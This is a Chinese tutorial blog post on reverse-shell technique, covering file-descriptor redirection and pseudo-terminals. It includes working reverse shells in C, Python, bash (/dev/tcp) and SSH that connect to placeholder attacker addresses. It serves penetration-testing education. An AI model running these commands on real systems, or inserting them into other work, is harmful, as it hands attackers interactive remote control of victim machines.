当前位置: 首页 > news >正文

【渗透测试】反弹 Shell 技术详解(一)

反弹 Shell 技术详解

一、前置知识

反弹 shell(Reverse Shell)是一种技术,攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下,反弹 shell 会将标准输入(stdin)、标准输出(stdout)和标准错误(stderr)重定向到网络套接字(socket),以便在远程主机上执行命令并接收结果。攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到控制受害服务器的目的。

二、反弹 Shell 的基本原理

1. 典型反弹 Shell 的原理

在典型的反弹 shell 中,攻击者会创建一个套接字(socket),并将其绑定到标准输入、输出和错误的文件描述符(0, 1, 2)。这样做的目的是让所有用户输入、程序输出和错误信息都通过这个套接字传输到远程服务器。

2. 文件描述符重定向

为了实现反弹 shell,一般需要以下几个步骤:

  • 创建一个套接字 并连接到远程服务器。
  • 使用 dup2() 系统调用将 标准输入(0)、标准输出(1)和标准错误(2)重定向到该套接字。
  • 执行一个新的 shell(如 /bin/sh/bin/bash),使得新启动的 shell 使用这些重定向的文件描述符。

C 语言实现示例:

int main() {int sockfd;struct sockaddr_in server_addr;// 创建套接字sockfd = socket(AF_INET, SOCK_STREAM, 0);if (sockfd < 0) {perror("Socket creation failed");return -1;}// 设置服务器地址server_addr.sin_family = AF_INET;server_addr.sin_port = htons(4444);  // 目标端口inet_pton(AF_INET, "192.168.1.100", &server_addr.sin_addr);  // 目标IP地址// 连接到服务器if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {perror("Connection failed");return -1;}// 将标准输入、输出和错误重定向到套接字dup2(sockfd, 0);  // stdindup2(sockfd, 1);  // stdoutdup2(sockfd, 2);  // stderr// 执行新的 shellexecve("/bin/sh", NULL, NULL);close(sockfd);return 0;
}

3. 关于文件描述符 0 1 2 的使用

并不是所有的反弹 shell 实现都严格使用文件描述符 0, 1, 2 指向套接字。虽然这是最常见的方式,但也有其他方法可以实现类似的效果:

  • 直接使用套接字文件描述符

    bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
    
  • 使用其他文件描述符

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    dup2(sockfd, 10);  // 使用文件描述符 10 作为输出
    dup2(sockfd, 11);  // 使用文件描述符 11 作为输入
    dup2(sockfd, 12);  // 使用文件描述符 12 作为错误
    
  • 使用管道或者命名管道
    复杂的反弹 shell 实现可能会使用管道(pipe)或命名管道(FIFO)来实现数据的传递,而不是直接使用套接字文件描述符。

三、几种常见的反弹 Shell 的实现方式对比

使用 Bash 实现反弹 Shell

工作机制

Bash 是一个 Unix shell 和命令语言,广泛用于脚本编写和命令行操作。可以直接使用 Bash 内置功能来创建一个连接到远程服务器的交互式 shell。

文件描述符处理
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
  • 0 (stdin): 标准输入被重定向到 /dev/tcp/192.168.1.100/4444
  • 1 (stdout): 标准输出被重定向到 /dev/tcp/192.168.1.100/4444
  • 2 (stderr): 标准错误被重定向到 /dev/tcp/192.168.1.100/4444

基于网络套接字 Socket 的反弹 Shell 实现

示例代码【Python】
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))
os.dup2(s.fileno(), 0)  # 将标准输入重定向到套接字
os.dup2(s.fileno(), 1)  # 将标准输出重定向到套接字
os.dup2(s.fileno(), 2)  # 将标准错误重定向到套接字
subprocess.call(["/bin/sh", "-i"])  # 启动交互式 Bash shell

基于 SSH 的反弹 Shell 实现

示例代码【SSH】
ssh -R 4444:localhost:22 user@remote_server "bash -i >& /dev/tcp/localhost/4444 0>&1"

命令解释如下:

  • ssh -R:启用 ssh 远程端口转发功能,远端服务器的该端口流量转发到本地(远端启用端口给本地的操作机用)
  • -R 4444:localhost:22:在远程服务器上打开端口 4444,并将其转发到本地的 SSH 端口 22
  • user@remote_server:指定远程服务器的用户名和地址
  • "bash -i >& /dev/tcp/localhost/4444 0>&1":在远程服务器上启动一个交互式 Bash shell,并将其标准输入、输出和错误重定向到本地的 4444 端口。

其他反弹方式

  • 基于各种编程语言实现,原理和上述雷同
  • 基于各种第三方工具实现,原理上述相同
  • 复杂的反弹 shell 语句,结合各种管道(包括命名管道),伪终端中转和内存文件实现等

其他知识补充

伪终端

伪终端是指在 Linux 系统中,由终端模拟器创建的一对字符设备,包括一个 master 端和一个 slave 端。

设备类型
  • master 端:位于用户态,对应一个文件描述符,用于与终端模拟器(如终端窗口)交互。
  • slave 端:位于 /dev/pts/ 目录下的一个文件,用于与运行在虚拟终端上的程序交互。
功能与作用
  • 数据转发:伪终端驱动程序负责将 master 端的输入数据转发给 slave 端,反之亦然。例如,用户在终端窗口中输入的命令通过 master 端传送给 shell,shell 的输出则通过 slave 端返回给终端窗口显示。
  • 虚拟化:允许在图形界面或远程连接中模拟实际终端的行为,使得程序能够像在真实终端上运行一样,处理键盘输入和屏幕输出。
应用场景
  • 图形界面终端:如 xterm、gnome-terminal 等,通过伪终端实现用户与 shell 的交互。
  • 远程 shell:如 ssh 连接,客户端和服务器之间通过伪终端中继输入和输出。
  • 多路复用器:如 screen 和 tmux,通过伪终端实现会话的多路复用和切换。
技术实现
  • 创建伪终端:通过打开 /dev/ptmx 文件,系统会生成一个新的伪终端对,包括一个 master 和一个 slave 设备。
  • 文件描述符:master 端是一个文件描述符,而 slave 端是一个 /dev/pts/nn 文件,nn 是一个数字,表示特定的伪终端。
与终端的区别
  • 终端(tty):是物理设备或虚拟控制台,如 tty1-6,直接连接到键盘和显示器。
  • 伪终端(pty):是软件模拟的虚拟终端,用于图形界面或远程连接,提供与终端相似的功能。
安全性与检测

在反弹 Shell 的上下文中,伪终端可以被用来重定向 shell 的输入输出到网络连接,从而实现远程控制。例如,通过 bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1 命令,可以将 shell 的输入输出重定向到指定的 TCP 地址,实现反弹 Shell 的功能。这种行为在安全检测中可能被视为异常,因为它绕过了正常的输入输出路径。


by 久违
好久没写了,抽空梳理点基础知识

相关文章:

【渗透测试】反弹 Shell 技术详解(一)

反弹 Shell 技术详解 一、前置知识 反弹 shell&#xff08;Reverse Shell&#xff09;是一种技术&#xff0c;攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下&#xff0c;反弹 shell 会将标准输入&#xff08;stdin&#xff09;、标准输出&#xff08;…...

python:pymunk + pygame 模拟六边形中小球弹跳运动

向 chat.deepseek.com 提问&#xff1a;编写 python 程序&#xff0c;用 pymunk, 有一个正六边形&#xff0c;围绕中心点缓慢旋转&#xff0c;六边形内有一个小球&#xff0c;六边形的6条边作为墙壁&#xff0c;小球受重力和摩擦力、弹力影响&#xff0c;模拟小球弹跳运动&…...

Windows 图形显示驱动开发-WDDM 3.2-本机 GPU 围栏对象(二)

GPU 和 CPU 之间的同步 CPU 必须执行 MonitoredValue 的更新&#xff0c;并读取 CurrentValue&#xff0c;以确保不会丢失正在进行的信号中断通知。 当向系统中添加新的 CPU 等待程序时&#xff0c;或者如果现有的 CPU 等待程序失效时&#xff0c;OS 必须修改受监视的值。OS …...

23种设计模式之《模板方法模式(Template Method)》在c#中的应用及理解

程序设计中的主要设计模式通常分为三大类&#xff0c;共23种&#xff1a; 1. 创建型模式&#xff08;Creational Patterns&#xff09; 单例模式&#xff08;Singleton&#xff09;&#xff1a;确保一个类只有一个实例&#xff0c;并提供全局访问点。 工厂方法模式&#xff0…...

DEV-C++ 为什么不能调试?(正确解决方案)

为了备战pat考试&#xff0c;专门下载了DEV C&#xff0c;然后懵圈的发现&#xff0c;怎么无法调试(╯□&#xff09;╯︵ ┻━┻ 然后整了半天&#xff0c;终于在网上找到相应的解决方案&#xff01;&#xff01;&#xff01;-> Dev C 5.11 调试初始设置 <- 一共四步…...

【C++设计模式】第五篇:原型模式(Prototype)

注意&#xff1a;复现代码时&#xff0c;确保 VS2022 使用 C17/20 标准以支持现代特性。 克隆对象的效率革命 1. 模式定义与用途​ ​ 核心思想​ ​原型模式&#xff1a;通过复制现有对象​&#xff08;原型&#xff09;来创建新对象&#xff0c;而非通过new构造。​关键用…...

深入 Vue.js 组件开发:从基础到实践

深入 Vue.js 组件开发&#xff1a;从基础到实践 Vue.js 作为一款卓越的前端框架&#xff0c;其组件化开发模式为构建高效、可维护的用户界面提供了强大支持。在这篇博客中&#xff0c;我们将深入探讨 Vue.js 组件开发的各个方面&#xff0c;从基础概念到高级技巧&#xff0c;助…...

maven导入spring框架

在eclipse导入maven项目&#xff0c; 在pom.xml文件中加入以下内容 junit junit 3.8.1 test org.springframework spring-core ${org.springframework.version} org.springframework spring-beans ${org.springframework.version} org.springframework spring-context ${org.s…...

数据守护者:备份文件的重要性与自动化实践策略

在数字化浪潮席卷全球的今天&#xff0c;数据已成为企业运营和个人生活中不可或缺的核心资源。无论是企业的财务报表、客户资料&#xff0c;还是个人的家庭照片、工作文档&#xff0c;这些数据都承载着巨大的价值。然而&#xff0c;数据丢失的风险无处不在&#xff0c;硬件故障…...

MyBatis @Param 注解详解:指定的参数找不到?

MyBatis Param 注解详解 1. Param 注解的作用 Param 注解用于显式指定方法参数的名称&#xff0c;让 MyBatis 在 SQL 映射文件&#xff08;XML&#xff09;或注解中通过该名称访问参数。 核心场景&#xff1a; 方法有多个参数时&#xff0c;避免参数名丢失或混淆。参数为简单…...

【项目日记(八)】内存回收与联调

前言 我们前面实现了三层缓存申请的过程&#xff0c;并完成了三层缓存申请过程的联调&#xff01;本期我们来介绍三层的缓存的回收机制以及三层整体联调释放的过程。 目录 前言 一、thread cache 回收内存 二、central cache 回收内存 • 如何确定一个对象对应的span • …...

性能测试监控工具jmeter+grafana

1、什么是性能测试监控体系&#xff1f; 为什么要有监控体系&#xff1f; 原因&#xff1a; 1、项目-日益复杂&#xff08;内部除了代码外&#xff0c;还有中间件&#xff0c;数据库&#xff09; 2、一个系统&#xff0c;背后可能有多个软/硬件组合支撑&#xff0c;影响性能的因…...

016.3月夏令营:数理类

016.3月夏令营&#xff1a;数理类&#xff1a; 中国人民大学统计学院&#xff1a; http://www.eeban.com/forum.php?modviewthread&tid386109 北京大学化学学院第一轮&#xff1a; http://www.eeban.com/forum.php?m ... 6026&extrapage%3D1 香港大学化学系夏令营&a…...

CS144 Lab Checkpoint 0: networking warm up

Set up GNU/Linux on your computer 我用的是Ubuntu&#xff0c;按照指导书上写的输入如下命令安装所需的软件包&#xff1a; sudo apt update && sudo apt install git cmake gdb build-essential clang \ clang-tidy clang-format gcc-doc pkg-config glibc-doc tc…...

靶场之路-VulnHub-DC-6 nmap提权、kali爆破、shell反连

靶场之路-VulnHub-DC-6 一、信息收集 1、扫描靶机ip 2、指纹扫描 这里扫的我有点懵&#xff0c;这里只有两个端口&#xff0c;感觉是要扫扫目录了 nmap -sS -sV 192.168.122.128 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10deb9u6 (protoc…...

给没有登录认证的web应用添加登录认证(openresty lua实现)

这阵子不是deepseek火么&#xff1f;我也折腾了下本地部署&#xff0c;ollama、vllm、llama.cpp都弄了下&#xff0c;webui也用了几个&#xff0c;发现nextjs-ollama-llm-ui小巧方便&#xff0c;挺适合个人使用的。如果放在网上供多人使用的话&#xff0c;得接入登录认证才好&a…...

3月5日作业

代码作业&#xff1a; #!/bin/bash# 清空目录函数 safe_clear_dir() {local dir"$1"local name"$2"if [ -d "$dir" ]; thenwhile true; doread -p "检测到 $name 目录已存在&#xff0c;请选择操作&#xff1a; 1) 清空目录内容 2) 保留目…...

【MySQL】增删改查

目录 一、新增&#xff08;Create&#xff09; 单行数据 全列插入 多行数据 指定列插入 插入时间 二、查询&#xff08;Retrieve&#xff09; 全列查询 指定列查询 查询字段为表达式 别名 去重&#xff1a;DISTINCT 排序&#xff1a;ORDER BY 条件查询&#xff1…...

【三维生成】StarGen:基于视频扩散模型的可扩展的时空自回归场景生成

标题&#xff1a;《StarGen: A Spatiotemporal Autoregression Framework with Video Diffusion Model for Scalable and Controllable Scene Generation》 项目&#xff1a;https://zju3dv.github.io/StarGen 来源&#xff1a;商汤科技、浙大CAD、Tetras.AI 文章目录 摘要一、…...

线反转法实现矩形键盘按键识别

由于行、列线为多键共用&#xff0c;各按键彼此将相互发 生影响&#xff0c;必须将行、列线信号配合起来并作适当的处 理&#xff0c;才能确定闭合键的位置。 线反转法 第1步&#xff1a;列线输出为全低电平&#xff0c;则行线中电平由高变低 的所在行为按键所在行。 第2步&…...

发现安卓应用宝库:APKMirror客户端让你安全下载任何版本应用

发现安卓应用宝库&#xff1a;APKMirror客户端让你安全下载任何版本应用 【免费下载链接】APKMirror 项目地址: https://gitcode.com/gh_mirrors/ap/APKMirror 还记得上次为了找一个旧版本的微信&#xff0c;在各种论坛里翻来覆去地找&#xff0c;最后下载的APK文件还让…...

如何新建自己的应用

建议步骤如下。 1 创建 WPF 项目 项目文件至少包含&#xff1a; <TargetFramework>net7.0-windows</TargetFramework> <UseWPF>true</UseWPF>2 引用基础库 至少引用&#xff1a; HeBianGu.Base.WpfBaseHeBianGu.General.WpfControlLib 根据需要再…...

RT-Thread裁剪实战:从98KB到28KB的嵌入式系统瘦身指南

1. 项目概述&#xff1a;为什么我们需要裁剪RT-Thread&#xff1f;如果你是一名嵌入式软件工程师&#xff0c;或者正在学习RT-Thread&#xff0c;那么“裁剪”这个词对你来说一定不陌生。RT-Thread作为一款优秀的国产开源实时操作系统&#xff0c;其标准版&#xff08;或称完整…...

月度补丁如何落地?Claude Code 在商业项目中实现版本追新的 4 步更新机制

1. 月度补丁不是“一键升级”,而是四次有节奏的上下文重校准 大多数人把 Claude Code 的月度补丁理解成“换了个模型版本号”——就像给手机系统点一下“更新”。我去年在三个中型商业项目里连续踩了这个坑:每次新补丁发布后,团队反馈“AI 写的代码变奇怪了”,review 通过…...

【亲测免费】 ADS1118驱动程序

ADS1118驱动程序 【下载地址】ADS1118驱动程序 本仓库提供了专用于ADS1118模数转换器&#xff08;ADC&#xff09;的驱动程序。ADS1118是一款高性能、高精度的16位模拟到数字转换器&#xff0c;广泛应用于需要精准测量的应用场景中&#xff0c;例如传感器数据采集系统、医疗设备…...

茉莉花插件:终极Zotero中文文献管理解决方案

茉莉花插件&#xff1a;终极Zotero中文文献管理解决方案 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件&#xff0c;用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum 还在为Zotero处理中文文献…...

从开发者视角看Taotoken文档与示例代码对降低接入门槛的帮助

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 从开发者视角看Taotoken文档与示例代码对降低接入门槛的帮助 作为一名经常需要集成不同AI模型服务的开发者&#xff0c;我经历过不…...

详解:XSS 攻击和 CSRF 攻击

一、先看看核心区别 XSS&#xff1a;偷你的身份-》在你的浏览器里面跑恶意JS &#xff0c;主动拿你的Cookie&#xff0c;冒充你。CSRF&#xff1a;借你的身份-》不偷你的Cookie&#xff0c;而是利用浏览器自带Cookie 的属性&#xff0c;骗网站替你做事。 二、XSS 讲解 1、核心本…...

RISC-V开发板结合Python实现B站消息监测:硬件极客的IoT实践

1. 项目概述&#xff1a;当硬件极客遇上日常痛点前几天在极客社区里看到一个挺有意思的分享&#xff0c;一位开发者朋友用一块高性能的RISC-V开发板&#xff0c;结合自己写的Python脚本&#xff0c;做了一个B站未读消息的实时监测器。这项目乍一听有点“杀鸡用牛刀”的感觉——…...

通达信缠论智能分析插件:5分钟实现专业K线结构可视化

通达信缠论智能分析插件&#xff1a;5分钟实现专业K线结构可视化 【免费下载链接】Indicator 通达信缠论可视化分析插件 项目地址: https://gitcode.com/gh_mirrors/ind/Indicator 你是否曾在K线图中迷失方向&#xff0c;看着密密麻麻的蜡烛图却不知如何判断市场趋势&am…...